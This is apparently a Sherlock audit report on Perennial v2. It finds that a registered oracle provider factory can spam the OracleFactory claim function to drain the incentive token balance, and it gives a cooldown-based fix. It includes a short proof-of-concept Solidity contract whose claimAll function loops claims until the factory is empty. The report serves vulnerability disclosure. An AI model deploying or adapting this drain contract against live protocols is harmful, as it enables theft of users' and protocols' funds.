Malicious Oracle Provider can drain all rewards

Summary

Malicious Oracle Provider can claim all rewards from the Provider Factory by spamming the claim function

Vulnerability Detail

A malicious keeper can drain the balance of the Provider Factory incentive token balance/allowance

contract MaliciousOracleProviderFactory is IOracleProviderFactory {

    function claim(address factoryAddress) public {
        IOracleFactory temp = IOracleFactory(factoryAddress);
        temp.claim(temp.maxClaim());
    }

    function claimAll(address factoryAddress, Token token) public {
        IOracleFactory temp = IOracleFactory(factoryAddress);
        uint256 balanceBefore = token.balanceOf(address(this));
        while (token.balanceOf(factoryAddress) > 0) {
            temp.claim(temp.maxClaim());
        }
        uint256 balanceAfter = token.balanceOf(address(this));
        assert(balanceAfter > balanceBefore);
    }
}

Impact

All funds belonging to the Provider Factory could be drained

Code Snippet

https://github.com/sherlock-audit/2023-07-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/OracleFactory.sol#L90C5-L97C6

Tool used

Manual Review

Recommendation

Add a time interval with which rewards can be claimed, also removing the need to pass the amount parameter as the max claimable amount for a given period would allow the keeper to claim the predetermined amount of tokens.

    function claim() external {
        if (!factories[IOracleProviderFactory(msg.sender)])
            revert OracleFactoryNotRegisteredError();
        if (claimTimes[msg.sender] > block.timestamp)
            revert CoolDownNotReached(claimTimes[msg.sender]);
        claimTimes[msg.sender] = block.timestamp + maxClaimPeriod;
        incentive.push(msg.sender, UFixed18Lib.from(maxClaim));
    }

Alternatively, I would suggest revising the rewards system; it's not quite clear how the tokenomics work. Or even better, I suggest using a streaming protocol like SabierV2 or Superfluid to avert the need for keepers to claim their rewards. Instead, these rewards can be streamed to them until they are unregistered or blacklisted from claiming any additional rewards. Both have their drawbacks but I think the initial step would be to revise the rewards system

sherlock-audit / 2023-07-perennial-judging

brianspha - Malicious Oracle Provider can drain all rewards #111